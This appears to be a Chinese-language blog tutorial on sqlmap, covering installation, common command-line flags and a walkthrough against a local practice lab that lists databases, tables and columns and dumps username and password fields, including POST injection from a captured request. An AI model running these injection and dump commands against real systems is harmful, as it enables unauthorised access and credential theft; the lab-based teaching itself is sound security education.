sqlmap简介
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前得先找出sql注入点。
准备工作
下载python https://www.python.org/downloads (这里有python各种版本,但是一般建议安装3和2.7)
在Windows我的电脑》属性》高级》环境变量里找到path,把python的安装路径配置到环境变量中
打开win +R 打开运行CMD ,输入python,出现下图,表示安装成功(我用的python版本是3.7.9)
通过克隆 Git 仓库来获取 sqlmap:
1
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
查看sqlmap目录(我默认是这)
- 直接把路径改成CMD再回车 就可以进行操作了
常用参数
- -u或者–url 指定注入目标URL
python sqlmap.py -u http://ip/index.php?id=1 - –dbms 指定数据库
python sqlmap.py -u http://ip/index. php?id=1 –dbms=mysql - –os 指定系统
python sqlmap.py -u http://ip/index.php?id=1 –os=Windows - –flush-session 刷新缓存
python sqlmap.py -u http://ip/index.php?id=1 –flush-session - –proxy 指定代理
python sqlmap.py -u http://ip/index.php?id=1 –proxy http://ip:port - –user-agent 指定useragent信息
python sqlmap.py -u http://ip/index.php?id=1 –user-agent=’Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0’ - –data 数据以POST方式提交
python sqlmap.py -u http://ip/index.php –data=”id=1”
注入过程
- 列出所有的数据库
python sqlmap.py -u http://ip/index.php?id=1 –dbs
- 列出当前数据库
python sqlmap.py -u http://ip/index.php?id=1 –current-db
- 列出DBname数据库所有的表
python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ –tables
- 列出DBname数据库table表中的所有列
python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ -T ‘table’ –columns
- 获取DBname数据库table表中column1,column2列中的数据
python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ -T ‘table’ -C ‘column1,column2’ –dump
1 | -u "url" #检测注入点 |
具体实例
以靶场第七关举例
1 | python sqlmap.py -h #查看帮助指令 |
检测注入点和注入类型
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 |
列出所有数据库名字
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 --dbs |
列出当前数据库名字
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 --current-db |
列出某数据库的所有表名
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security --tables |
列出某表中的所有字段名
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security -T users --columns |
列出某字段中的所有字段内容
1 | python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security -T users -C username,password --dump |
post注入
1 | -r xxx.txt #xxx.txt为http数据包 |
首先利用burpsuite抓到使用post请求方法的http请求数据包,将该包保存为post.txt文件(保存在当前目录下)。输入代码:sqlmap -r post.txt
,会自动读取http数据包来做个post注入的测试